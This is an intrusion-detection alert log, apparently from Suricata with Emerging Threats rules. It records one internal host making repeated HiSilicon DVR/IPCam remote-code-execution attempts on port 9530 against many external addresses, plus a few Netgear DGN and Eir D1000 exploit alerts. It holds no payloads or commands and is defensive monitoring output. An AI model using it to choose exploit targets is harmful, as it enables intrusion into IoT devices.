05/16/24-16:39:14.518997	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36182	9530	192.168.2.23	43.177.61.164
05/16/24-16:39:14.518997	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36182	9530	192.168.2.23	43.177.61.164
05/16/24-16:38:54.131039	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33824	5555	192.168.2.23	27.193.96.114
05/16/24-16:38:55.227481	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52586	9530	192.168.2.23	23.162.141.48
05/16/24-16:38:53.398642	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	33974	80	192.168.2.23	63.26.144.6
05/16/24-16:39:14.520195	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52438	9530	192.168.2.23	115.170.244.187
05/16/24-16:39:14.520195	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52438	9530	192.168.2.23	115.170.244.187
05/16/24-16:38:55.176136	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33450	9530	192.168.2.23	174.119.199.208
05/16/24-16:38:55.176136	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33450	9530	192.168.2.23	174.119.199.208
05/16/24-16:39:03.263562	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52858	9530	192.168.2.23	144.22.69.165
05/16/24-16:39:02.726990	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47032	9530	192.168.2.23	108.53.113.101
05/16/24-16:39:05.677776	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55106	9530	192.168.2.23	99.144.240.15
05/16/24-16:39:05.677776	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55106	9530	192.168.2.23	99.144.240.15
05/16/24-16:39:16.609820	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41960	9530	192.168.2.23	206.66.119.64
05/16/24-16:39:02.726990	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47032	9530	192.168.2.23	108.53.113.101
05/16/24-16:39:16.609820	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41960	9530	192.168.2.23	206.66.119.64
05/16/24-16:39:03.263562	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52858	9530	192.168.2.23	144.22.69.165
05/16/24-16:39:02.745320	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42184	9530	192.168.2.23	132.206.237.101
05/16/24-16:39:02.745320	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42184	9530	192.168.2.23	132.206.237.101
05/16/24-16:38:55.175004	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58082	9530	192.168.2.23	132.240.0.86
05/16/24-16:38:55.175004	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58082	9530	192.168.2.23	132.240.0.86
05/16/24-16:39:03.281199	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57628	9530	192.168.2.23	38.161.200.33
05/16/24-16:39:03.281199	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57628	9530	192.168.2.23	38.161.200.33
05/16/24-16:39:12.406718	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46222	9530	192.168.2.23	114.115.143.171
05/16/24-16:39:12.406718	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46222	9530	192.168.2.23	114.115.143.171
05/16/24-16:39:14.491153	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59404	9530	192.168.2.23	147.232.253.202
05/16/24-16:39:14.491153	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59404	9530	192.168.2.23	147.232.253.202
05/16/24-16:39:12.408332	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43232	9530	192.168.2.23	79.227.240.60
05/16/24-16:39:12.408332	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43232	9530	192.168.2.23	79.227.240.60
05/16/24-16:39:14.529714	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34848	9530	192.168.2.23	223.243.2.35
05/16/24-16:39:14.529714	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34848	9530	192.168.2.23	223.243.2.35
05/16/24-16:38:55.226833	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45086	9530	192.168.2.23	155.237.135.55
05/16/24-16:38:55.226833	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45086	9530	192.168.2.23	155.237.135.55
05/16/24-16:38:57.305789	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36824	9530	192.168.2.23	154.174.38.23
05/16/24-16:38:57.305789	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36824	9530	192.168.2.23	154.174.38.23
05/16/24-16:38:53.099139	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45326	9530	192.168.2.23	106.155.215.228
05/16/24-16:38:53.099139	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45326	9530	192.168.2.23	106.155.215.228
05/16/24-16:39:05.713000	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42672	9530	192.168.2.23	219.43.210.91
05/16/24-16:39:05.713000	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42672	9530	192.168.2.23	219.43.210.91
05/16/24-16:39:08.124327	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57824	9530	192.168.2.23	209.51.96.62
05/16/24-16:38:57.305774	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40688	9530	192.168.2.23	108.189.140.144
05/16/24-16:38:57.305774	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40688	9530	192.168.2.23	108.189.140.144
05/16/24-16:39:08.124327	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57824	9530	192.168.2.23	209.51.96.62
05/16/24-16:39:05.707930	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53740	9530	192.168.2.23	48.235.51.146
05/16/24-16:39:05.707930	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53740	9530	192.168.2.23	48.235.51.146
05/16/24-16:39:14.524461	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49040	9530	192.168.2.23	118.9.198.174
05/16/24-16:39:14.524461	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49040	9530	192.168.2.23	118.9.198.174
05/16/24-16:38:55.177046	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39044	9530	192.168.2.23	220.143.106.167
05/16/24-16:39:03.275880	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45754	9530	192.168.2.23	89.232.172.196
05/16/24-16:38:55.177046	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39044	9530	192.168.2.23	220.143.106.167
05/16/24-16:39:03.275880	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45754	9530	192.168.2.23	89.232.172.196
05/16/24-16:39:14.492417	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44742	9530	192.168.2.23	9.31.149.226
05/16/24-16:39:12.408339	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58812	9530	192.168.2.23	138.115.223.202
05/16/24-16:39:03.277941	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53770	9530	192.168.2.23	217.65.174.200
05/16/24-16:39:12.408339	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58812	9530	192.168.2.23	138.115.223.202
05/16/24-16:39:03.277941	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53770	9530	192.168.2.23	217.65.174.200
05/16/24-16:39:14.492417	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44742	9530	192.168.2.23	9.31.149.226
05/16/24-16:39:05.694639	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52948	9530	192.168.2.23	145.240.105.80
05/16/24-16:38:57.411043	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42194	9530	192.168.2.23	154.8.12.157
05/16/24-16:38:57.303934	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34122	9530	192.168.2.23	23.136.106.12
05/16/24-16:39:08.127971	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35824	9530	192.168.2.23	207.40.23.110
05/16/24-16:38:57.303934	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34122	9530	192.168.2.23	23.136.106.12
05/16/24-16:39:05.675831	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34936	9530	192.168.2.23	191.154.19.201
05/16/24-16:38:50.047743	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58474	9530	192.168.2.23	12.173.175.87
05/16/24-16:39:05.675831	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34936	9530	192.168.2.23	191.154.19.201
05/16/24-16:39:08.127971	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35824	9530	192.168.2.23	207.40.23.110
05/16/24-16:38:50.047743	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58474	9530	192.168.2.23	12.173.175.87
05/16/24-16:38:50.065072	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47916	9530	192.168.2.23	69.233.146.200
05/16/24-16:38:50.065072	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47916	9530	192.168.2.23	69.233.146.200
05/16/24-16:38:57.411043	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42194	9530	192.168.2.23	154.8.12.157
05/16/24-16:39:05.694639	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52948	9530	192.168.2.23	145.240.105.80
05/16/24-16:38:50.047486	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51008	9530	192.168.2.23	36.47.205.230
05/16/24-16:39:12.401731	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52210	9530	192.168.2.23	79.195.241.225
05/16/24-16:39:12.401731	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52210	9530	192.168.2.23	79.195.241.225
05/16/24-16:39:08.127139	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41774	9530	192.168.2.23	41.128.98.0
05/16/24-16:39:08.127139	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41774	9530	192.168.2.23	41.128.98.0
05/16/24-16:39:05.693308	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49808	9530	192.168.2.23	45.182.185.32
05/16/24-16:39:05.693308	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49808	9530	192.168.2.23	45.182.185.32
05/16/24-16:39:16.579868	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35586	9530	192.168.2.23	97.243.165.158
05/16/24-16:39:12.402933	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54468	9530	192.168.2.23	104.18.38.142
05/16/24-16:39:16.579868	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35586	9530	192.168.2.23	97.243.165.158
05/16/24-16:39:12.402933	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54468	9530	192.168.2.23	104.18.38.142
05/16/24-16:38:53.066937	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59378	9530	192.168.2.23	123.50.235.83
05/16/24-16:39:02.746084	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56422	9530	192.168.2.23	90.48.132.205
05/16/24-16:39:02.746084	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56422	9530	192.168.2.23	90.48.132.205
05/16/24-16:39:12.304054	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52064	9530	192.168.2.23	126.31.182.82
05/16/24-16:39:12.304054	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52064	9530	192.168.2.23	126.31.182.82
05/16/24-16:39:16.610565	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37446	9530	192.168.2.23	159.100.3.44
05/16/24-16:39:16.610565	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37446	9530	192.168.2.23	159.100.3.44
05/16/24-16:38:50.047486	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51008	9530	192.168.2.23	36.47.205.230
05/16/24-16:39:05.694619	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48978	9530	192.168.2.23	211.209.173.55
05/16/24-16:39:05.694619	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48978	9530	192.168.2.23	211.209.173.55
05/16/24-16:39:16.579423	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58260	9530	192.168.2.23	89.19.214.141
05/16/24-16:39:16.579423	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58260	9530	192.168.2.23	89.19.214.141
05/16/24-16:39:05.699575	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40892	9530	192.168.2.23	199.158.201.134
05/16/24-16:39:05.699575	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40892	9530	192.168.2.23	199.158.201.134
05/16/24-16:38:53.066937	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59378	9530	192.168.2.23	123.50.235.83
05/16/24-16:39:05.700296	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48450	9530	192.168.2.23	220.240.234.237
05/16/24-16:39:03.281755	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58640	9530	192.168.2.23	201.145.58.93
05/16/24-16:39:03.281755	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58640	9530	192.168.2.23	201.145.58.93
05/16/24-16:39:05.700296	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48450	9530	192.168.2.23	220.240.234.237
05/16/24-16:38:55.193139	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39666	9530	192.168.2.23	14.142.40.203
05/16/24-16:38:55.193139	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39666	9530	192.168.2.23	14.142.40.203
05/16/24-16:39:08.044969	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33660	9530	192.168.2.23	19.236.43.151
05/16/24-16:39:08.044969	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33660	9530	192.168.2.23	19.236.43.151
05/16/24-16:38:55.231878	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43756	9530	192.168.2.23	103.133.137.110
05/16/24-16:38:55.231878	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43756	9530	192.168.2.23	103.133.137.110
05/16/24-16:38:57.425713	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52254	9530	192.168.2.23	208.241.93.245
05/16/24-16:38:57.425713	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52254	9530	192.168.2.23	208.241.93.245
05/16/24-16:38:57.431249	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54562	9530	192.168.2.23	186.4.6.171
05/16/24-16:38:57.431249	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54562	9530	192.168.2.23	186.4.6.171
05/16/24-16:39:02.767762	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43298	9530	192.168.2.23	176.152.122.114
05/16/24-16:39:16.614373	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57494	9530	192.168.2.23	213.250.176.254
05/16/24-16:39:02.767762	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43298	9530	192.168.2.23	176.152.122.114
05/16/24-16:39:16.614373	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57494	9530	192.168.2.23	213.250.176.254
05/16/24-16:38:57.408662	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59740	9530	192.168.2.23	20.143.98.194
05/16/24-16:38:59.557089	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51374	9530	192.168.2.23	48.105.143.154
05/16/24-16:39:16.600044	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33290	9530	192.168.2.23	62.143.175.120
05/16/24-16:39:16.600044	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33290	9530	192.168.2.23	62.143.175.120
05/16/24-16:39:12.298211	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43238	9530	192.168.2.23	71.16.140.203
05/16/24-16:39:12.298211	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43238	9530	192.168.2.23	71.16.140.203
05/16/24-16:38:55.199108	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47788	9530	192.168.2.23	106.193.166.56
05/16/24-16:38:59.557089	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51374	9530	192.168.2.23	48.105.143.154
05/16/24-16:38:50.046283	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50656	9530	192.168.2.23	129.120.127.234
05/16/24-16:39:14.494648	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50752	9530	192.168.2.23	185.250.206.148
05/16/24-16:38:50.046283	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50656	9530	192.168.2.23	129.120.127.234
05/16/24-16:39:14.494648	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50752	9530	192.168.2.23	185.250.206.148
05/16/24-16:38:55.226335	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34754	9530	192.168.2.23	17.145.26.166
05/16/24-16:38:55.226335	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34754	9530	192.168.2.23	17.145.26.166
05/16/24-16:38:57.436361	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34782	9530	192.168.2.23	221.49.16.19
05/16/24-16:38:57.436361	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34782	9530	192.168.2.23	221.49.16.19
05/16/24-16:39:12.401718	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36892	9530	192.168.2.23	32.23.131.104
05/16/24-16:39:12.401718	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36892	9530	192.168.2.23	32.23.131.104
05/16/24-16:38:55.226778	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43650	9530	192.168.2.23	162.251.71.35
05/16/24-16:38:55.226778	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43650	9530	192.168.2.23	162.251.71.35
05/16/24-16:39:03.288275	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46028	9530	192.168.2.23	66.28.74.178
05/16/24-16:39:03.288275	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46028	9530	192.168.2.23	66.28.74.178
05/16/24-16:38:55.193092	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34088	9530	192.168.2.23	31.70.79.176
05/16/24-16:38:55.193092	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34088	9530	192.168.2.23	31.70.79.176
05/16/24-16:38:50.004146	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58884	9530	192.168.2.23	186.46.95.60
05/16/24-16:38:55.199108	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47788	9530	192.168.2.23	106.193.166.56
05/16/24-16:38:50.004146	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58884	9530	192.168.2.23	186.46.95.60
05/16/24-16:38:59.583179	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50156	9530	192.168.2.23	106.185.245.17
05/16/24-16:38:59.583179	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50156	9530	192.168.2.23	106.185.245.17
05/16/24-16:38:57.408662	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59740	9530	192.168.2.23	20.143.98.194
05/16/24-16:39:05.677856	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33722	9530	192.168.2.23	4.53.211.116
05/16/24-16:39:05.677856	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33722	9530	192.168.2.23	4.53.211.116
05/16/24-16:39:12.403746	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40510	9530	192.168.2.23	68.158.77.90
05/16/24-16:39:12.403746	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40510	9530	192.168.2.23	68.158.77.90
05/16/24-16:39:02.768654	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36010	9530	192.168.2.23	159.33.63.129
05/16/24-16:39:02.768654	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36010	9530	192.168.2.23	159.33.63.129
05/16/24-16:39:14.492288	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43418	9530	192.168.2.23	131.24.233.15
05/16/24-16:39:14.492288	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43418	9530	192.168.2.23	131.24.233.15
05/16/24-16:39:08.044853	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53706	9530	192.168.2.23	81.49.7.111
05/16/24-16:39:08.044853	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53706	9530	192.168.2.23	81.49.7.111
05/16/24-16:39:14.491259	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60066	9530	192.168.2.23	213.161.60.178
05/16/24-16:38:50.068491	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57488	9530	192.168.2.23	183.29.207.152
05/16/24-16:38:50.068491	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57488	9530	192.168.2.23	183.29.207.152
05/16/24-16:39:14.514711	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60654	9530	192.168.2.23	98.121.254.131
05/16/24-16:39:14.514711	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60654	9530	192.168.2.23	98.121.254.131
05/16/24-16:38:55.212323	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46094	9530	192.168.2.23	193.174.143.220
05/16/24-16:38:55.212323	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46094	9530	192.168.2.23	193.174.143.220
05/16/24-16:39:14.491259	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60066	9530	192.168.2.23	213.161.60.178
05/16/24-16:38:59.587366	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42724	9530	192.168.2.23	18.57.209.255
05/16/24-16:39:14.492149	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37278	9530	192.168.2.23	66.135.173.207
05/16/24-16:38:59.587366	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42724	9530	192.168.2.23	18.57.209.255
05/16/24-16:38:55.207731	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41876	9530	192.168.2.23	144.67.3.232
05/16/24-16:39:14.492149	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37278	9530	192.168.2.23	66.135.173.207
05/16/24-16:38:55.207731	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41876	9530	192.168.2.23	144.67.3.232
05/16/24-16:39:13.665738	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	49922	80	192.168.2.23	174.215.71.75
05/16/24-16:39:02.725512	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35574	9530	192.168.2.23	141.97.110.101
05/16/24-16:39:12.400963	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43514	9530	192.168.2.23	105.181.194.90
05/16/24-16:39:12.400963	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43514	9530	192.168.2.23	105.181.194.90
05/16/24-16:38:57.303929	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58232	9530	192.168.2.23	217.249.80.65
